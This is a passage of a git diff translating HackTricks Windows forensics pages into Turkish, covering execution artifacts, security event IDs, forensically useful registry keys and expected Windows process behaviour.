tool](https://github.com/EricZimmerman/AppCompatCacheParser) kullanılması önerilir. ![](<../../../images/image (488).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +**Amcache.hve** dosyası, bir sistemde yürütülen uygulamalar hakkında ayrıntıları kaydeden temel bir kayıt defteri hivesidir. Genellikle `C:\Windows\AppCompat\Programas\Amcache.hve` konumunda bulunur. -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +Bu dosya, yürütülen süreçlerin kayıtlarını, yürütülebilir dosyaların yollarını ve SHA1 hash'lerini saklamasıyla dikkat çeker. Bu bilgi, bir sistemdeki uygulamaların etkinliğini izlemek için değerlidir. +**Amcache.hve** dosyasından veri çıkarmak ve analiz etmek için, [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) aracı kullanılabilir. Aşağıdaki komut, AmcacheParser'ı kullanarak **Amcache.hve** dosyasının içeriğini ayrıştırmak ve sonuçları CSV formatında çıkarmak için bir örnektir: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +Üretilen CSV dosyaları arasında, `Amcache_Unassociated file entries` özellikle dikkat çekicidir çünkü ilişkilendirilmemiş dosya girişleri hakkında zengin bilgiler sunar. -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +Üretilen en ilginç CSV dosyası `Amcache_Unassociated file entries`dir. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Bu artefakt yalnızca W7'de `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` içinde bulunabilir ve bazı ikili dosyaların son çalıştırılması hakkında bilgi içerir. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Dosyayı ayrıştırmak için [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) aracını kullanabilirsiniz. -### Scheduled tasks +### Planlı görevler -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Bunları `C:\Windows\Tasks` veya `C:\Windows\System32\Tasks` içinden çıkarabilir ve XML olarak okuyabilirsiniz. -### Services +### Hizmetler -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Bunları `SYSTEM\ControlSet001\Services` altında kayıt defterinde bulabilirsiniz. Ne zaman ve neyin çalıştırılacağını görebilirsiniz. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Yüklenen uygulamalar `\ProgramData\Microsoft\Windows\AppRepository\` içinde bulunabilir. Bu depo, sistemdeki **her yüklü uygulama** ile ilgili bir **log** içerir ve bu log **`StateRepository-Machine.srd`** veritabanındadır. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +Bu veritabanının Uygulama tablosunda "Application ID", "PackageNumber" ve "Display Name" sütunlarını bulmak mümkündür. Bu sütunlar, önceden yüklenmiş ve yüklenmiş uygulamalar hakkında bilgi içerir ve bazı uygulamaların kaldırılıp kaldırılmadığını bulmak mümkündür çünkü yüklü uygulamaların kimlikleri sıralı olmalıdır. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +Ayrıca, kayıt defteri yolunda yüklü uygulamaları bulmak da mümkündür: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Ve **kaldırılmış** **uygulamaları**: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` içinde bulabilirsiniz. -## Windows Events +## Windows Olayları -Information that appears inside Windows events are: +Windows olayları içinde görünen bilgiler şunlardır: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- Ne oldu +- Zaman damgası (UTC + 0) +- İlgili kullanıcılar +- İlgili ana bilgisayarlar (ana bilgisayar adı, IP) +- Erişilen varlıklar (dosyalar, klasör, yazıcı, hizmetler) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +Loglar, Windows Vista'dan önce `C:\Windows\System32\config` içinde ve Windows Vista'dan sonra `C:\Windows\System32\winevt\Logs` içinde bulunmaktadır. Windows Vista'dan önce, olay logları ikili formatta, sonrasında ise **XML formatında** ve **.evtx** uzantısını kullanarak kaydedilmiştir. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +Olay dosyalarının yeri, SYSTEM kayıt defterinde **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** içinde bulunabilir. -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Windows Olay Görüntüleyici (**`eventvwr.msc`**) veya [**Event Log Explorer**](https://eventlogxp.com) **veya** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** gibi diğer araçlarla görselleştirilebilir. -## Understanding Windows Security Event Logging +## Windows Güvenlik Olay Kaydını Anlamak -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +Erişim olayları, `C:\Windows\System32\winevt\Security.evtx` konumundaki güvenlik yapılandırma dosyasında kaydedilir. Bu dosyanın boyutu ayarlanabilir ve kapasiteye ulaşıldığında, daha eski olaylar üzerine yazılır. Kaydedilen olaylar, kullanıcı girişleri ve çıkışları, kullanıcı eylemleri ve güvenlik ayarlarındaki değişiklikler ile dosya, klasör ve paylaşılan varlık erişimini içerir. -### Key Event IDs for User Authentication: +### Kullanıcı Kimlik Doğrulaması için Ana Olay Kimlikleri: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: Kullanıcının başarılı bir şekilde kimlik doğruladığını gösterir. +- **EventID 4625**: Kimlik doğrulama hatasını belirtir. +- **EventIDs 4634/4647**: Kullanıcı çıkış olaylarını temsil eder. +- **EventID 4672**: Yönetici ayrıcalıklarıyla giriş yapıldığını belirtir. -#### Sub-types within EventID 4634/4647: +#### EventID 4634/4647 içindeki alt türler: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Etkileşimli (2)**: Doğrudan kullanıcı girişi. +- **Ağ (3)**: Paylaşılan klasörlere erişim. +- **Toplu (4)**: Toplu işlemlerin yürütülmesi. +- **Hizmet (5)**: Hizmet başlatmaları. +- **Proxy (6)**: Proxy kimlik doğrulaması. +- **Kilidi Açma (7)**: Şifre ile ekranın kilidinin açılması. +- **Ağ Düz Metin (8)**: Düz metin şifre iletimi, genellikle IIS'den. +- **Yeni Kimlik Bilgileri (9)**: Erişim için farklı kimlik bilgileri kullanımı. +- **Uzaktan Etkileşimli (10)**: Uzaktan masaüstü veya terminal hizmetleri girişi. +- **Önbellek Etkileşimli (11)**: Alan denetleyicisi ile iletişim olmadan önbellekli kimlik bilgileri ile giriş. +- **Önbellek Uzaktan Etkileşimli (12)**: Önbellekli kimlik bilgileri ile uzaktan giriş. +- **Önbellekli Kilidi Açma (13)**: Önbellekli kimlik bilgileri ile kilidin açılması. -#### Status and Sub Status Codes for EventID 4625: +#### EventID 4625 için Durum ve Alt Durum Kodları: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: Kullanıcı adı mevcut değil - Bir kullanıcı adı tahsis etme saldırısını gösterebilir. +- **0xC000006A**: Doğru kullanıcı adı ama yanlış şifre - Olası şifre tahmin etme veya kaba kuvvet denemesi. +- **0xC0000234**: Kullanıcı hesabı kilitlendi - Birden fazla başarısız girişle sonuçlanan bir kaba kuvvet saldırısını takip edebilir. +- **0xC0000072**: Hesap devre dışı bırakıldı - Devre dışı bırakılmış hesaplara yetkisiz erişim girişimleri. +- **0xC000006F**: İzin verilen zaman dışında oturum açma - Belirlenen giriş saatleri dışında erişim girişimlerini gösterir, yetkisiz erişim belirtisi olabilir. +- **0xC0000070**: İş istasyonu kısıtlamalarının ihlali - Yetkisiz bir yerden giriş yapma girişimi olabilir. +- **0xC0000193**: Hesap süresi dolmuş - Süresi dolmuş kullanıcı hesapları ile erişim girişimleri. +- **0xC0000071**: Süresi dolmuş şifre - Eski şifrelerle giriş girişimleri. +- **0xC0000133**: Zaman senkronizasyon sorunları - İstemci ve sunucu arasında büyük zaman farklılıkları, daha karmaşık saldırıların (pass-the-ticket gibi) göstergesi olabilir. +- **0xC0000224**: Zorunlu şifre değişikliği gereklidir - Sık zorunlu değişiklikler, hesap güvenliğini bozma girişimini gösterebilir. +- **0xC0000225**: Bir sistem hatasını gösterir, güvenlik sorunu değil. +- **0xC000015b**: Reddedilen oturum açma türü - Yetkisiz oturum açma türü ile erişim girişimi, örneğin bir kullanıcının bir hizmet oturumu açmaya çalışması. #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Zaman Değişikliği**: Sistem zamanının değiştirilmesi, olayların zaman çizelgesini belirsizleştirebilir. -#### EventID 6005 and 6006: +#### EventID 6005 ve 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **Sistem Başlangıcı ve Kapatılması**: EventID 6005 sistemin başlatıldığını, EventID 6006 ise kapatıldığını gösterir. #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Log Silme**: Güvenlik loglarının temizlenmesi, genellikle yasadışı faaliyetleri örtbas etme için bir kırmızı bayraktır. -#### EventIDs for USB Device Tracking: +#### USB Cihaz Takibi için Olay Kimlikleri: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: USB cihazının ilk bağlantısı. +- **10100**: USB sürücü güncellemesi. +- **EventID 112**: USB cihazının takılma zamanı. -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Bu oturum açma türlerini simüle etmek ve kimlik bilgisi dökme fırsatları hakkında pratik örnekler için [Altered Security'nin detaylı kılavuzuna](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) başvurun. -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +Olay detayları, durum ve alt durum kodları, özellikle Event ID 4625'te olay nedenleri hakkında daha fazla bilgi sağlar. -### Recovering Windows Events +### Windows Olaylarını Kurtarma -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +Silinmiş Windows Olaylarını kurtarma şansını artırmak için, şüpheli bilgisayarı doğrudan fişini çekerek kapatmak önerilir. **Bulk_extractor**, `.evtx` uzantısını belirten bir kurtarma aracı olarak, bu tür olayları kurtarmak için önerilir. -### Identifying Common Attacks via Windows Events +### Windows Olayları Aracılığıyla Yaygın Saldırıları Tanımlama -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Yaygın siber saldırıları tanımlamak için Windows Olay Kimliklerini kullanma konusunda kapsamlı bir kılavuz için [Red Team Recipe](https://redteamrecipe.com/event-codes/) adresini ziyaret edin. -#### Brute Force Attacks +#### Kaba Kuvvet Saldırıları -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +Birden fazla EventID 4625 kaydı ile tanımlanabilir, saldırı başarılı olursa ardından bir EventID 4624 kaydı gelir. -#### Time Change +#### Zaman Değişikliği -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +EventID 4616 ile kaydedilen sistem zamanındaki değişiklikler, adli analizleri karmaşıklaştırabilir. -#### USB Device Tracking +#### USB Cihaz Takibi -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +USB cihaz takibi için yararlı Sistem Olay Kimlikleri, ilk kullanım için 20001/20003/10000, sürücü güncellemeleri için 10100 ve takılma zaman damgaları için DeviceSetupManager'dan EventID 112'dir. -#### System Power Events +#### Sistem Güç Olayları -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005 sistem başlangıcını, EventID 6006 ise kapanmayı gösterir. -#### Log Deletion +#### Log Silme -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. - -
- -{% embed url="https://websec.nl/" %} +Güvenlik EventID 1102, logların silindiğini belirtir, bu adli analiz için kritik bir olaydır. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..9893f86ae 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# İlginç Windows Kayıt Defteri Anahtarları -### Interesting Windows Registry Keys +### İlginç Windows Kayıt Defteri Anahtarları {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Windows Sürümü ve Sahibi Bilgileri** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- **`Software\Microsoft\Windows NT\CurrentVersion`** altında, Windows sürümünü, Servis Paketini, kurulum zamanını ve kayıtlı sahibin adını basit bir şekilde bulabilirsiniz. -### **Computer Name** +### **Bilgisayar Adı** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- Ana bilgisayar adı **`System\ControlSet001\Control\ComputerName\ComputerName`** altında bulunur. -### **Time Zone Setting** +### **Saat Dilimi Ayarı** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- Sistem saat dilimi **`System\ControlSet001\Control\TimeZoneInformation`** içinde saklanır. -### **Access Time Tracking** +### **Erişim Zamanı Takibi** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- Varsayılan olarak, son erişim zamanı takibi kapalıdır (**`NtfsDisableLastAccessUpdate=1`**). Bunu etkinleştirmek için: +`fsutil behavior set disablelastaccess 0` kullanın. -### Windows Versions and Service Packs +### Windows Sürümleri ve Servis Paketleri -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- **Windows sürümü**, sürümü (örneğin, Home, Pro) ve sürümünü (örneğin, Windows 10, Windows 11) belirtirken, **Servis Paketleri** düzeltmeler ve bazen yeni özellikler içeren güncellemelerdir. -### Enabling Last Access Time +### Son Erişim Zamanını Etkinleştirme -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- Son erişim zamanı takibini etkinleştirmek, dosyaların en son ne zaman açıldığını görmenizi sağlar; bu, adli analiz veya sistem izleme için kritik olabilir. -### Network Information Details +### Ağ Bilgileri Detayları -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- Kayıt defteri, **ağ türleri (kablosuz, kablolu, 3G)** ve **ağ kategorileri (Genel, Özel/Ev, Alan/İş)** dahil olmak üzere ağ yapılandırmaları hakkında kapsamlı veriler tutar; bu, ağ güvenlik ayarlarını ve izinlerini anlamak için hayati öneme sahiptir. -### Client Side Caching (CSC) +### İstemci Tarafı Önbellekleme (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC**, paylaşılan dosyaların kopyalarını önbelleğe alarak çevrimdışı dosya erişimini artırır. Farklı **CSCFlags** ayarları, hangi dosyaların ve nasıl önbelleğe alınacağını kontrol eder, bu da performansı ve kullanıcı deneyimini etkiler, özellikle kesintili bağlantıların olduğu ortamlarda. -### AutoStart Programs +### Otomatik Başlatılan Programlar -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- Çeşitli `Run` ve `RunOnce` kayıt defteri anahtarlarında listelenen programlar, başlangıçta otomatik olarak başlatılır, bu da sistemin önyükleme süresini etkiler ve kötü amaçlı yazılım veya istenmeyen yazılımları tanımlamak için ilgi noktaları olabilir. ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags**, yalnızca klasör görünüm tercihlerini saklamakla kalmaz, aynı zamanda klasör artık mevcut olmasa bile klasör erişiminin adli kanıtını sağlar. Diğer yollarla belirgin olmayan kullanıcı etkinliğini ortaya çıkardığı için soruşturmalar için değerlidir. -### USB Information and Forensics +### USB Bilgileri ve Adli Analiz -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- Kayıt defterinde saklanan USB cihazlarıyla ilgili detaylar, bir bilgisayara hangi cihazların bağlandığını izlemeye yardımcı olabilir ve potansiyel olarak bir cihazı hassas dosya transferleri veya yetkisiz erişim olaylarıyla ilişkilendirebilir. -### Volume Serial Number +### Hacim Seri Numarası -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- **Hacim Seri Numarası**, dosya sisteminin belirli bir örneğini izlemek için kritik olabilir; bu, dosya kökeninin farklı cihazlar arasında belirlenmesi gereken adli senaryolar için yararlıdır. -### **Shutdown Details** +### **Kapatma Detayları** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- Kapatma zamanı ve sayısı (ikincisi yalnızca XP için) **`System\ControlSet001\Control\Windows`** ve **`System\ControlSet001\Control\Watchdog\Display`** içinde saklanır. -### **Network Configuration** +### **Ağ Yapılandırması** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- Ayrıntılı ağ arayüzü bilgileri için **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**'e bakın. +- İlk ve son ağ bağlantı zamanları, VPN bağlantıları dahil olmak üzere, **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** altında çeşitli yollarla kaydedilir. -### **Shared Folders** +### **Paylaşılan Klasörler** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- Paylaşılan klasörler ve ayarlar **`System\ControlSet001\Services\lanmanserver\Shares`** altında bulunur. İstemci Tarafı Önbellekleme (CSC) ayarları çevrimdışı dosya erişilebilirliğini belirler. -### **Programs that Start Automatically** +### **Otomatik Başlatılan Programlar** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** gibi yollar ve `Software\Microsoft\Windows\CurrentVersion` altında benzer girişler, başlangıçta çalışacak şekilde ayarlanmış programları detaylandırır. -### **Searches and Typed Paths** +### **Aramalar ve Yazılan Yollar** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- Gezginde yapılan aramalar ve yazılan yollar, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** altında WordwheelQuery ve TypedPaths için sırasıyla izlenir. -### **Recent Documents and Office Files** +### **Son Belgeler ve Ofis Dosyaları** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- Erişilen son belgeler ve Ofis dosyaları, `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` ve belirli Ofis sürüm yollarında not edilir. -### **Most Recently Used (MRU) Items** +### **En Son Kullanılan (MRU) Öğeler** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- Son dosya yolları ve komutları gösteren MRU listeleri, `NTUSER.DAT` altında çeşitli `ComDlg32` ve `Explorer` alt anahtarlarında saklanır. -### **User Activity Tracking** +### **Kullanıcı Etkinliği Takibi** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- Kullanıcı Yardımcı özelliği, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`** altında çalıştırma sayısı ve son çalıştırma zamanı dahil olmak üzere ayrıntılı uygulama kullanım istatistiklerini kaydeder. -### **Shellbags Analysis** +### **Shellbags Analizi** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Klasör erişim detaylarını ortaya çıkaran Shellbags, `USRCLASS.DAT` ve `NTUSER.DAT` altında `Software\Microsoft\Windows\Shell` içinde saklanır. Analiz için **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** kullanın. -### **USB Device History** +### **USB Cihaz Geçmişi** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** ve **`HKLM\SYSTEM\ControlSet001\Enum\USB`** bağlı USB cihazları hakkında zengin detaylar içerir; bunlar arasında üretici, ürün adı ve bağlantı zaman damgaları bulunur. +- Belirli bir USB cihazıyla ilişkili kullanıcı, cihazın **{GUID}**'sini arayarak `NTUSER.DAT` hives'inde tespit edilebilir. +- Son takılı cihaz ve hacim seri numarası, sırasıyla `System\MountedDevices` ve `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` üzerinden izlenebilir. -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +Bu kılavuz, Windows sistemlerinde ayrıntılı sistem, ağ ve kullanıcı etkinliği bilgilerine erişim için kritik yolları ve yöntemleri özetlemektedir; açıklık ve kullanılabilirlik hedeflenmiştir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 06f914970..3b84bbe76 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -2,105 +2,105 @@ ## smss.exe -**Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +**Oturum Yöneticisi**.\ +Oturum 0, **csrss.exe** ve **wininit.exe** (**OS** **hizmetleri**) başlatırken, Oturum 1 **csrss.exe** ve **winlogon.exe** (**Kullanıcı** **oturumu**) başlatır. Ancak, süreçler ağacında **çocukları olmayan** bu **ikili** dosyadan **yalnızca bir süreç** görmelisiniz. -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +Ayrıca, 0 ve 1 dışındaki oturumlar RDP oturumlarının gerçekleştiğini gösterebilir. ## csrss.exe -**Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +**İstemci/Sunucu Çalışma Alt Sistemi Süreci**.\ +**Süreçleri** ve **iş parçacıklarını** yönetir, diğer süreçler için **Windows** **API**'sini kullanılabilir hale getirir ve ayrıca **sürücü harflerini** eşler, **geçici dosyalar** oluşturur ve **kapatma** **sürecini** yönetir. -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +Oturum 0'da bir tane ve Oturum 1'de bir tane **çalışıyor** (yani süreçler ağacında **2 süreç**). Her yeni oturum için bir tane daha oluşturulur. ## winlogon.exe -**Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +**Windows Oturum Açma Süreci**.\ +Kullanıcı **oturum açma**/**oturum kapama** işlemlerinden sorumludur. Kullanıcı adı ve şifre sormak için **logonui.exe**'yi başlatır ve ardından bunları doğrulamak için **lsass.exe**'yi çağırır. -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +Sonra, **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`**'da **Userinit** anahtarı ile belirtilen **userinit.exe**'yi başlatır. -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +Ayrıca, önceki kayıt defterinde **explorer.exe** **Shell anahtarı** içinde olmalıdır veya **kötü amaçlı yazılım kalıcılık yöntemi** olarak kötüye kullanılabilir. ## wininit.exe -**Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +**Windows Başlatma Süreci**. \ +Oturum 0'da **services.exe**, **lsass.exe** ve **lsm.exe**'yi başlatır. Yalnızca 1 süreç olmalıdır. ## userinit.exe -**Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +**Userinit Oturum Açma Uygulaması**.\ +**HKCU**'da **ntduser.dat**'ı yükler ve **kullanıcı** **ortamını** başlatır, **oturum açma** **betiklerini** ve **GPO**'yu çalıştırır. -It launches **explorer.exe**. +**explorer.exe**'yi başlatır. ## lsm.exe -**Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +**Yerel Oturum Yöneticisi**.\ +Kullanıcı oturumlarını manipüle etmek için smss.exe ile çalışır: Oturum açma/kapama, kabuk başlatma, masaüstünü kilitleme/açma vb. -After W7 lsm.exe was transformed into a service (lsm.dll). +W7'den sonra lsm.exe bir hizmete (lsm.dll) dönüştürüldü. -There should only be 1 process in W7 and from them a service running the DLL. +W7'de yalnızca 1 süreç olmalıdır ve bunlardan bir hizmet DLL'yi çalıştırmalıdır. ## services.exe -**Service Control Manager**.\ -It 